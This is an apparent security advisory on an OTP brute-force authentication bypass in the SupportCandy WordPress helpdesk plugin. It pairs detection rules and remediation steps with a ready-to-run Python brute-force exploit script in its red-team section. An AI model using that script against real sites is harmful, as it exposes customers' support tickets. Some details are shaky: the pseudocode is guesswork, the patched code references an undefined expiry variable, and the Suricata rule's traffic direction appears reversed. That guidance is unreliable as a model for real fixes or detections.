CVE-2025-10658

Executive Summary

CVE-2025-10658 is a critical authentication bypass vulnerability affecting the SupportCandy – Helpdesk & Customer Support Ticket System WordPress plugin, up to and including version 3.3.7. The flaw resides in the OTP verification mechanism for guest login, which lacks rate limiting. This allows an unauthenticated attacker to brute-force the 6-digit OTP code and gain unauthorized access to any customer support ticket. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

The CVSS score is 6.5 (Medium), but the real-world impact is high due to the ease of exploitation and the potential exposure of sensitive customer data. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited access to ticket data.
• Integrity (I): Low (L) – Attacker can read but not modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (6.5). However, due to the simplicity of brute-forcing a 6-digit OTP, the effective risk is higher.

Deep Dive & Mechanics

The SupportCandy plugin implements a guest login feature that allows unauthenticated users to access support tickets using a 6-digit OTP sent via email. The vulnerability arises because:

1. No Rate Limiting: The OTP verification endpoint does not enforce any limit on the number of attempts.
2. Predictable OTP Space: A 6-digit numeric OTP has only 1,000,000 possible combinations.
3. No Account Lockout: The system does not lock the account or OTP after multiple failed attempts.

An attacker can:

• Identify a valid ticket ID (often sequential or guessable).
• Send a POST request to the OTP verification endpoint with the ticket ID and a guessed OTP.
• Iterate through all 1,000,000 OTPs until successful.

The attack is feasible within hours using a simple script, especially if the OTP is not time-limited.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.3.7): The OTP verification function likely lacks any attempt tracking or delay. Example pseudocode:

function verify_otp($ticket_id, $otp) {
    $stored_otp = get_option('supportcandy_otp_' . $ticket_id);
    if ($stored_otp == $otp) {
        // Grant access
        return true;
    }
    return false;
}

Patched Code (Hypothetical): A patched version would include:

• Rate limiting (e.g., max 5 attempts per minute per IP).
• OTP expiration (e.g., 10 minutes).
• Account lockout after 10 failed attempts.
• CAPTCHA after 3 failed attempts.

Example:

function verify_otp($ticket_id, $otp) {
    $attempts = get_transient('supportcandy_otp_attempts_' . $ticket_id);
    if ($attempts >= 10) {
        return false; // Locked
    }
    $stored_otp = get_option('supportcandy_otp_' . $ticket_id);
    if ($stored_otp == $otp && $stored_otp_expiry > time()) {
        delete_option('supportcandy_otp_' . $ticket_id);
        return true;
    }
    set_transient('supportcandy_otp_attempts_' . $ticket_id, $attempts + 1, 3600);
    return false;
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install WordPress with SupportCandy plugin version 3.3.7.
2. Create a support ticket as a guest.
3. Note the ticket ID (e.g., 123).

Exploit Script (Python):

import requests
import itertools

target_url = "http://target.com/wp-admin/admin-ajax.php"
ticket_id = 123

for otp in range(1000000):
    otp_str = f"{otp:06d}"
    data = {
        "action": "supportcandy_verify_otp",
        "ticket_id": ticket_id,
        "otp": otp_str
    }
    response = requests.post(target_url, data=data)
    if "success" in response.text:
        print(f"OTP found: {otp_str}")
        break

Expected Outcome: The script will eventually find the correct OTP and return a session token or redirect to the ticket view.

Blue Team (Defender)

Detection:

• Monitor for high volumes of POST requests to admin-ajax.php with action=supportcandy_verify_otp.
• Alert on multiple failed OTP attempts from the same IP within a short time.
• Use the Sigma rule below to detect brute-force patterns.

Mitigation:

• Implement rate limiting at the web server or WAF level.
• Apply a virtual patch using a WAF rule to block repeated OTP attempts.
• Disable guest login if not required.

Indicators of Compromise (IOCs)

• Network:
  • High frequency of POST requests to /wp-admin/admin-ajax.php with parameter action=supportcandy_verify_otp.
  • Sequential OTP values in request bodies (e.g., otp=000001, otp=000002).
• Logs:
  • Repeated HTTP 200 responses with JSON containing "success":false for the same ticket ID.
  • Sudden successful login from an IP that previously had many failed attempts.
• File:
  • Unusual entries in WordPress debug log related to OTP verification.

Detection Engineering

YARA Rule

rule CVE_2025_10658_OTP_BruteForce {
    meta:
        description = "Detects brute-force attempts against SupportCandy OTP endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-10658"
    strings:
        $action = "supportcandy_verify_otp"
        $otp_param = "otp="
        $ticket_param = "ticket_id="
    condition:
        all of them
}

Sigma Rule

title: SupportCandy OTP Brute Force Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed OTP verification attempts against SupportCandy plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=supportcandy_verify_otp"
        sc-status: 200
    condition: selection | count() by src_ip > 100 within 5m
falsepositives:
    - Legitimate users with multiple OTP resends
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10658 SupportCandy OTP Brute Force Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=supportcandy_verify_otp"; http_client_body;
    content:"otp="; http_client_body;
    threshold: type both, track by_src, count 100, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the guest login feature in SupportCandy settings.
   • Implement a WAF rule to block repeated OTP requests (e.g., max 10 per IP per minute).
   • Monitor logs for brute-force patterns.

2. Long-term Fix:

   • Apply a patch from the vendor when available.
   • Upgrade to a patched version (check WordPress plugin repository).
   • Implement rate limiting and CAPTCHA in custom code if no patch is released.

3. Compensating Controls:

   • Use a CDN or reverse proxy to enforce rate limiting.
   • Enable WordPress brute-force protection plugins (e.g., Wordfence).
   • Restrict access to admin-ajax.php for unauthenticated users where possible.

Valters IT